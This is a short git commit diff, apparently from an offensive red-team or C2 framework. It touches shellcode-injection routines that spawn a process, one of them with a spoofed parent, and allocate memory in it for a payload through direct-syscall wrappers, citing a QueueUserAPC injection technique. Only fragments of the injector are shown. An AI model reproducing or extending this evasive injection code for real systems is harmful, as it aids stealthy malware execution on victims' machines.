This commit is contained in:
maxdcb
2025-02-07 04:30:54 -05:00
parent 0904aa8a99
commit 034cbaacf6
2 changed files with 4 additions and 0 deletions
+2
View File
@@ -692,6 +692,7 @@ int AssemblyExec::createNewProcessWithSpoofedParent(const std::string& payload,
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
SIZE_T sizeToAlloc = payload.size();
remoteBuffer=NULL;
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T NumberOfBytesWritten;
@@ -838,6 +839,7 @@ int AssemblyExec::createNewProcess(const std::string& payload, const std::string
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
SIZE_T sizeToAlloc = payload.size();
remoteBuffer=NULL;
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T NumberOfBytesWritten;